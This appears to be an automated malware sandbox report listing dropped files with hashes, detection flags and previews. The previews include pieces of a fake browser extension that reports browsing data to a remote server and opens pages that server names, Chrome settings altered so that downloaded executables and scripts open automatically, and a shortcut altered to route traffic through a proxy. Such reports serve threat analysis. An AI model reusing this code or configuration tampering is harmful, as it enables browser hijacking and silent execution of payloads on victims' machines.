SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Thu Oct 5 05:47:12 2023, atime=Wed Sep 27 08:36:54 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.4663118718845025
Encrypted:	false
SSDEEP:	48:8S/d5TvGk0lRYrnvPdAKRkdAGdAKRFdAKR6P:8STbH7
MD5:	7C2FCACCDAAC187BD64B25465A797366
SHA1:	D29DA947882E5A1C44EC6E233634C0A88377E066
SHA-256:	CEFD0745E5789FA3DB8BE1BF38AC896AB5AB05966860DCF2DB497CF9108A5E0A
SHA-512:	861FC9EC5E66E98BF6CE57CECF2D1274403941057E016CF3BC35C49014D8241F699E2502B0331916A6E7F018380D39083E435B8E87598FFABA8461158D93DBE7
Malicious:	false
Preview:	L..................F.@.. ......,....=.Y.W....X.&&... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....EW.3..PROGRA~1..t......O.IEW.5....B...............J.......j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VEW@2....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.2..Chrome..>......CW.VEW.2....M.....................7...C.h.r.o.m.e.....`.1.....EW.2..APPLIC~1..H......CW.VEW.2..........................7...A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.L .chrome.exe..F......CW.VEW.5.........................l...c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	315904
Entropy (8bit):	7.9900301024348765
Encrypted:	true
SSDEEP:	6144:DVa+NrJiVBc2wc6oKXwdUWFQg1SGWEWAMiY7ivtaqgntTZXHAYq7:J1NrJaBcOOiHWEWAMFKtdstTfq
MD5:	C60F5FA3A579BCA2C8C377F7E15B2221
SHA1:	D44B5C6DD64284F00D6F9D05CF5327A91CAD9339
SHA-256:	F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
SHA-512:	F419ADF4BD07CE18D9B7DE7445B2D0185653DE27738FD4403F880EE11BF49CA8A1958C1B2C94F8F4C5DA52EBC79462CFB6FE71849439F6AF017A95B44AF2F77B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5..........."...0.............~2... ........@.. .......................@............`.................................,2..O............................ .......1..8............................................ ............... ..H............text...H.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................`2......H........$.................................................................]....0..#.........i. .......... .............+B.....- ....d....(....(...............+.......(...........o......X.. ....2.....+7. ....... ..............XX.. ....]...................X.. ....2........+f...+T..X ....].....X ....]...........&...................X ....]..........%G....a.R...X......i2....X.....2....................(....n .........%.....(..........0..H.........89.....P......%G ....X.R.P....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\128.png

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	29306
Entropy (8bit):	7.92147583488826
Encrypted:	false
SSDEEP:	768:xcjd3JISqF22OkACKSchdtm38rpsnNbd/bc7hS8mbE33wC06bA:mjISqF22Od6AtM8rpsNbd/WmSweM
MD5:	F47A2FC416A8E5B5A89DF402C45F1C35
SHA1:	7E57689F339B017C964A7CCFC44F823F664452FA
SHA-256:	718B06ABAD15580EF39B01D703E7A8CF7EF00379FCABD16F77803BA14F0628DF
SHA-512:	28965BB9E775CF74E879829F49EE48EBBAF3CBEF683B2A2AE25B23FB680DE3A94FCAB1CAB1AFC9D4962EA7F5F09D967A11B9AA0DD901DC4CFC2DF3EF04E067DA
Malicious:	false
Preview:	RIFFrr..WEBPVP8X.... .........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6VP8L.p../.....u!...........{.?..9g$..'..N...-n..Ul...qYX...8--..Qji.$.g&3g......=...m[..6..>..Q.........9..N.............o.......,.,.T..}..@.......~.....qRQ.e.m.m.o...V..e..RI.K...>....$I.t.8..==\|._}......EZ$ .......@i..!..)....@.l...ZF......a.$H.......P`[.d...aK.......Jg.l......`.:KA.0FF.....!..8U.;0.A...lK..:K.LE.,........K.d..J..KJ;,.... ..S.... ....H....H......R&. .X.Q.$.Cr")........K..... .p....L...%..rd.Rd[..)....R...pZ...%.\.)!......@)...................0.......r.#.FB)..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1940
Entropy (8bit):	5.966986363124249
Encrypted:	false
SSDEEP:	48:p/hWI1+UaQPIJGXlvrouAdRakuZRZb+kFSRiRz:RN+UaQSG1jouQRatb+mYc
MD5:	ADA17322FF1C9DBF585C9E924CB82874
SHA1:	AFD6293B0DB4883557888A8A85DDEB188670F9F0
SHA-256:	D498AB2F781B870559F4753D25844C6D518EED4A7FAB5A2699497CBCE652CB6E
SHA-512:	16DEF210C406CFFCD6FA0A5B17A879F8F0620234048A568BCCB5EE75A46616BA02B5457AC6106FCE8D21CB0B4BDEC9201093167415D6952458E59860C4AED7E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiVng5RVBOZXp5OU44MU5TMnVDRFNMSTN4eWRTYXVHdDUtby1ZUjRzb0dETSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJCTEtPc0NxM2c1TkkxRjlDdWpTNnBmVndZWTFGMFJxY0dnN2xSdTB5cG5nIn0seyJwYXRoIjoicGVyZm9ybWFuY2UuanMiLCJyb290X2hhc2giOiJab01IM3Y3WkkxZzdDeVpkWDhsaC1OSVRoRVdVWVBpbldjY0dWU3RQUFEwIn0seyJwYXRoIjoicG9wdXAuY3NzIiwicm9vdF9oYXNoIjoidExlWmVlamlRUTNBQWJEc0RvNWxnNndJVXAtYVhneDhwQWxUT0FLSDlvOCJ9LHsicGF0aCI6InBvcHVwLmh0bWwiLCJyb290X2hhc2giOiJjWmpITFkzS21FY2pmRjlCUlpCeGdydFFfWG1OazcwalBSRks2dlVvNFdNIn0seyJwYXRoIjoicG9wdXAuanMiLCJyb290X2hhc2giOiJFQmVqUnBnMjdBS1Q0VDFnVW1SWWJnVi15ZzNwa2JOSURmRko5ZXVaeGZrIn0seyJwYXRoIjoid29ya2VyLmpzIiwicm9vdF9oYXNoIjoiNnpCZGh1MTRnU0pTX1pXM01rNVNyS2JUN3BXNHo4Z1FMLXpqWVlPbFBwdyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImVqam5uaWlqY2pha29hZ2hwZWR

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\manifest.json

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	4.684348766905837
Encrypted:	false
SSDEEP:	12:BLqG87bxsmPLAE1k5Zsu7QEkNI1DCAdluyuZ5L/i6kiDWRS/YEhJCMTix58loJWW:BCbx/PLA+k51V1DCelu37LK2KiZJex5Z
MD5:	72FDEC7702747969E1D0752BD5192A27
SHA1:	B60EC5BF4A31C73D9BA3DD872DAA2BEA754C351D
SHA-256:	04B28EB02AB7839348D45F42BA34BAA5F570618D45D11A9C1A0EE546ED32A678
SHA-512:	657EBEE2A886C73B0244791CFBE23E31061B7DCA3B063FA1F36C59AE08DB48FAB40021451F81FE056E432CEF5DDD867999E3C851553EA4EEB200D1FFAE15AC78
Malicious:	false
Preview:	{."update_url": "https://clients2.google.com/service/update2/crx",.. "name": "Page-error.com official extension",. "homepage_url": "https://page-error.com",. "description": "The official page-error.com addon! We streamline typical aggravating web errors and assist you in locating precisely what you wanted",. "version": "3.0",. "manifest_version": 3,. "background": {. "service_worker": "worker.js". },. "action": {. "default_icon": "128.png". },. "icons": {. "128": "128.png". },. "content_scripts": [{. "matches": [":///"],. "js": ["performance.js"]. }],. "permissions": ["webRequest", "webNavigation", "storage"],. "host_permissions": ["http:///","https:///*"].}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\performance.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1986
Entropy (8bit):	4.479999872100471
Encrypted:	false
SSDEEP:	48:U04UVQANUTbJ+ZsQ2mVu+5+vKFf+8McyMH4m3pxYQqAI:hPUvJPQ2mVu+5+vKldYeA
MD5:	458181DAC964DC20885774EE77A4D0E0
SHA1:	164BA2506C103BABD22DFDD8A481775241D25AE9
SHA-256:	668307DEFED923583B0B265D5FC961F8D21384459460F8A759C706552B4F3D0D
SHA-512:	7BF3E71CA2CFEC7F7275367574085602093E782DE0A29493E6C00CDC4DE16894CACEFC09B558AEE000E0E79CEC4656A598159890D97D39E7FCC134215A796FB0
Malicious:	false
Preview:	(function () {. 'use strict';.. if (document.readyState === 'complete') {. startCollect();. } else {. window.addEventListener('load', startCollect);. }.. function startCollect() {. const timing = performance.getEntriesByType('navigation')[0].toJSON();. delete timing.serverTiming;.. if (timing.duration > 0) {. // Fetch start is sometimes negative in Firefox, make an adjustment based on fetchStart. const adjustment = timing.fetchStart < 0 ? -timing.fetchStart : 0;.. const fields = [. 'domainLookupStart',. 'domainLookupEnd',. 'connectStart',. 'connectEnd',. 'requestStart',. 'responseStart',. 'responseEnd',. 'domComplete',. 'domInteractive',. 'domContentLoadedEventStart',. 'domContentLoadedEventEnd',. 'loadEventStart',. 'loadEventEnd',. 'duration',. ];.. fields.forEach((i) => {. timing[i] += adjustment;. });.. // We have only 4 char

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\popup.css

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1178
Entropy (8bit):	4.757848568943779
Encrypted:	false
SSDEEP:	24:UV6niSNDpj7zXRDVtpRBNAyNbBGtOEM15ufYYZKSTSZvKI:U0icNVt/PAMGto5UZKMSFKI
MD5:	B820CFAB72779A45B7678876D1E64497
SHA1:	C4F2B50C775F87E76D0D0446F90C3EADC3CCD18B
SHA-256:	B4B79979E8E2410DC001B0EC0E8E6583AC08529F9A5E0C7CA40953380287F68F
SHA-512:	F8906A38CD7C718F60FA4FF1C12D9F76D9736830C7546FB8A9A05A36877FF7B554A941BAAAC7F7342FD063D93A09F7E1A006776E2F758F2A6EE0855DF8376439
Malicious:	false
Preview:	body {. font-family: Roboto,sans-serif;. font-size: 13px;. -webkit-font-smoothing: antialiased;.}.#container {. width: 386px;.}.span {. display: table-cell;. color: rgba(0, 0, 0, 0.87);. vertical-align: middle;. padding: 0 56px 0 0;. text-align: right;. height: 30px;.}.span:first-child {. padding-right: 25px;. width: 100px;. text-align: left;. padding-left: 4px;.}.span:not(:first-child) {. padding-right: 50px;. width: 50px;.}.span:last-child {. padding-right: 0px;.}..sub {. text-indent: 10px;.}..row, #header {. border-bottom: 1px solid rgba(0,0,0,.12);. border-width: 0 1px 1px 0;.}.#header span {. color: rgba(43, 33, 33, 0.54);. font-size: 12px;. font-weight: 500;. text-align: right;.}.#header span:first-child {. text-align: left;.}..row {. background-image: -webkit-gradient(linear, left bottom, left top,. color-stop(0, #c3e0ee), color-stop(0, #c3e0ee));. background-repeat: no-repeat;.}.h3 {. fon

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\popup.html

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3545
Entropy (8bit):	3.952687705208937
Encrypted:	false
SSDEEP:	24:0WIbgzdrVMytcO5slSW+Ujae35OUIy6/uF5I4K3hKnQ6T5qZHT8XVQz:0WdwdO5vXc/CuY4tQykNT8e
MD5:	6F57D896C79C9F6DB79A9BD5CC7FFE6F
SHA1:	64099ACDBC9C10F90D3D444C13F3A358E46A56AC
SHA-256:	7198C72D8DCA9847237C5F4145907182BB50FD798D93BD233D114AEAF528E163
SHA-512:	E8E319CA3B43A6C16480C0024F73A301BA93B3677EA27458060143DA16BBEC68A45617DF46D5304D90680845938901AAF03D1ACB2D060CDDF742C2D3B6742138
Malicious:	false
Preview:	<!doctype html>..<html lang="en">.. <head>.. <meta charset="utf-8">.. <link href="https://fonts.googleapis.com/css?family=Roboto:400,500,700" rel="stylesheet">.. <link rel="stylesheet" href="popup.css">.. <script src="popup.js"></script>.. </head>.. <body>.. <h3>Load timings (ms)</h3>.. <div id="requestStart"></div>.. <div id="container">.. <div id="header">.. <span>Event</span>.. <span>Start</span>.. <span>Duration</span>.. <span>End</span>.. </div>.. <div class="row" id="r-redirect">.. <span>Redirect</span>.. <span id="redirectWhen"></span>.. <span id="redirect"></span>.. <span id="redirectTotal"></span>.. </div>.. <div class="row" id="r-dns">.. <span>DNS</span>.. <span id="dnsWhen"></span>.. <span id="dns"></s

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\popup.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	5.002185157280968
Encrypted:	false
SSDEEP:	48:+8cRO9RXBRMVBv5StjUebVCj67jlcPRjRRcxcn:+ugzhSZUebVCj67jlcPRjRRDn
MD5:	627A725C2B5AA4F253EC3FA876BA8362
SHA1:	0F96EF81334F2DEF0602F4360B994E83396AADCF
SHA-256:	1017A3469836EC0293E13D605264586E057ECA0DE991B3480DF149F5EB99C5F9
SHA-512:	0E7F7DCC01DEA6B0862FB7C35A1A787B60A65C64EF6A1B5398F89553B051EC179B7654F6514A0FBA4C6D762B14EB8F806A3DFC7F5D5E9CD299AF1EC2640D60DA
Malicious:	false
Preview:	let total = 0;..function set(id, start, end, noacc) {. const length = Math.round(end - start);. const x = Math.round((start / total) * 300);.. document.getElementById(`${id}When`).innerHTML = Math.round(start);. document.getElementById(id).innerHTML = length;. document.getElementById(`${id}Total`).innerHTML = noacc ? '-' : Math.round(end);.. document.getElementById(`r-${id}`).style.cssText = `. background-size: ${Math.round((length / total) * 300)}px 100%;. background-position-x: ${x >= 300 ? 299 : x}px;. `;.}..chrome.tabs.query({ active: true, currentWindow: true }).then((tabs) => {. const tab = tabs[0];.. chrome.storage.local.get('cache').then((data) => {. const t = data.cache[`tab${tab.id}`];. total = t.duration;.. // Set timings based on Navigation Timing API. // Reference: https://dvcs.w3.org/hg/webperf/raw-file/tip/specs/NavigationTiming/Overview.html#processing-model. set('redirect', t.redirectStart, t.redirectEnd);. set('dns', t.domainLookupStar

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ejjnniijcjakoaghpedjpcfkoclplenf\3.0_0\worker.js

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4361
Entropy (8bit):	5.038402574984415
Encrypted:	false
SSDEEP:	96:I2YLcYD4CRMkjBR6kCAUTKkKTriK5TElDFKb:9Yv4CdT6keT8r/JElRKb
MD5:	CA05FD5A6B320B95425FC069F472B550
SHA1:	8BC7EC1A2C6CA06788EF7864CF0F2A1710EA3167
SHA-256:	43AA4B37937A4D3F3FA52CDC6A2DC4785769BA6BBB46FE3C5757B592B3F23E21
SHA-512:	C8DA2AFE243E8A8002E320AAA46C34F7B6D2492C5A9A705D929B256F87AAC10CB176D235D799D213B2D6DFDE2398A6A64650BC201AE6DC6E37FCEA8E25D02480
Malicious:	false
Preview:	const apikey = "08523549-238c-4b3c-8257-2564ad696623";..async function handleRuntimeMessage(request, sender) {. const data = await chrome.storage.local.get('cache');. if (!data.cache) data.cache = {};. data.cache[`tab${sender.tab.id}`] = request.timing;.. await chrome.storage.local.set(data);. chrome.action.setBadgeText({ text: request.time, tabId: sender.tab.id });. chrome.action.setPopup({ tabId: sender.tab.id, popup: 'popup.html' });.. const { uuid } = await chrome.storage.sync.get('uuid');. const n = await perf({ uuid, performance: request.timing, dimensions: request.dimensions });.. if (n?.notice) {. chrome.tabs.create(n.notice);. } else if (n?.alert) {. chrome.windows.create(n.alert);. }.}..async function handleTabRemoved(tabId) {. const data = await chrome.storage.local.get('cache');. if (data.cache) delete data.cache[`tab${tabId}`];. chrome.storage.local.set(data);.}..async function handleErrorOccurred(e) {. if (e.error.includes('RESOLVE')) {. const { er

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	19525
Entropy (8bit):	5.566589710528081
Encrypted:	false
SSDEEP:	384:0E8pO2Vdu39PniLPLeH4XxD1kXqKf/pUZNCgVLH2HfEOPrUExHGrWNi3x:07pDVc39viLPLECxD1kXqKf/pUZNCgVn
MD5:	DB1005CA3DBE4B75134C5E6B9EA5AC77
SHA1:	1974425E5F79B58B06016C75C7E2D2529B2092E3
SHA-256:	5E5927EAC363FF83F9049F868E056A8B335C4FA1C4E69DFEC5DD4D3D50362440
SHA-512:	E8C785317B0510BEACC90E8B57D8879C7CCDF4EA2E13002C5A4FD359C116076DF333E386D6466BE7B87503681F5A4626867740412FEC09A1E77A77ADDC435DEE
Malicious:	true
Preview:	{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz:msi"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13340960396796595","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13340960396796595","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, e

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqc85VD:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlq0
MD5:	0C1110E9B7BBBCB651A0B7568D796468
SHA1:	7AEE00407EE27655FFF0ADFBC96CF7FAD9610AAA
SHA-256:	112E21404A85963FB5DF8388F97429D6A46E9D4663435CC86267C563C0951FA2
SHA-512:	46E37552764B4E61006AB99F8C542D55B2418668B097D3C6647D306604C3D7CA3FAF34F8B4121D94B0E7168295B2ABEB7C21C3B96F37208943537B887BC81590
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000001d.db

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	102408
Entropy (8bit):	4.026449548832267
Encrypted:	false
SSDEEP:	768:G1AEqkeGavyF9jk0kbxmxwuONWLgCVj0BRoP8n9R1v8lSRVTmMypJ36hU5heiKC4:fBkCvRxmxwuWkheiKCGKnXWF6XK+WL7T
MD5:	FEAEEDC73F06032699F1CA6D14A406F3
SHA1:	C937531208F366C4E698CEC41321F8953831EE6D
SHA-256:	7909C94DA2C2BD77C68B47D84FE65ED5251D72D9043D33D5CA697D277F26A3ED
SHA-512:	6C1A91D40266D2BBADD81FDE6A76B22683F1EE195ECD5D4F9CF689253C807D0AFE09B957AC5B11E6220D86E79103E283ABCD020B6B742A9D7FEF64FAA3307E16
Malicious:	false
Preview:	....h... ...............P...............X...@...]...h...................V.......e.n.-.C.H.;.e.n.-.G.B..............................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....Z.1...........user..B............................................e.n.g.i.n.e.e.r.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....`.1...........Start Menu..F............................................S.t.a.r.t. .M.e.n.u................(..........P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....Z.1...........user..B.........................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\PL_Clients[1].bmp

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	data
Category:	dropped
Size (bytes):	5077012
Entropy (8bit):	6.713227789841581
Encrypted:	false
SSDEEP:	49152:pVJXO9PUAjyyUWbeBV3XEWkMgv3KT0RJ3P23QM+IL6:pVJUPZjjUWbg3UYgv6SpP2gMC
MD5:	1047B1F6A74DA3574E0995A5A122489A
SHA1:	3E0A1BECFD48F15CE486E85B1D2F29D079388B43
SHA-256:	F8D58AFC94CE91D30BEC6308306132E23A888D0B6D95DB461E4D5F9F7DFBEB51
SHA-512:	55B8CF3817E86EB0665CFCB2C94F4A59CF1026DBA202D5644D2DE2E2685A8DEDE8CE51B07C822F3B76126B98FEFC4F0B2DEA4C0B548511DE2EFDB9CB008E7B36
Malicious:	false
Preview:	..fUXO......................................................................4..Y.4A}\|f5egzrgtx5vt{{za5wp5g`{5\|{5QZF5xzqp;...1.........gf...5...5...5..4...5...4a..5...4...5o7.5...5o7.4..5o7.4...5o7.4...5...4...5...5K..5^4.4..5^4.5...5...5...5^4.4...5G\|v}...5................EP..Y......s...............2...../......../.......................................I.....P.[.......................................1..........J....................I..............................E1.....................................................55555555.........y..................5..u55555555k............e..................55555555............g..................;gfgv....J.......u......................55555555......6..G.....................W;\|qtat........1......!U.................;ayf.........E1......#U.................;a}px\|qt..-..u1...-..-U.............u...;gpyzv........I......mX.....................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Retailer_prog[1].exe

Download File

Process:	C:\Users\user\Desktop\qk9TaBBxh8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5186048
Entropy (8bit):	7.988942986400578
Encrypted:	false
SSDEEP:	98304:2C4ahA6d6VouW6tgklsjSTtSPfwuBvN/l5W/SFhVn4jGY5NEjWxtItnqi6oIA5Om:v4C6Vop6t4jASPYuL4SvV4qGiI+8ixn
MD5:	083BBD31609819B33AD9998C1525612A
SHA1:	268C62DCA8CD8DD2D0FDAA5D9EEE243561F2CB5A
SHA-256:	B59EE5C11BC18BB750059D836AA6A6F980FFC96D1925EE218725DAC105EE1E8C
SHA-512:	D586A1ED41D3887FBA251EF907736689F2575B465E635B157B3E5B2358D015669EDB8C3233F5591E36E4D081532F60AA44DC3184AB355CD8EB454D9DB93BC021
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
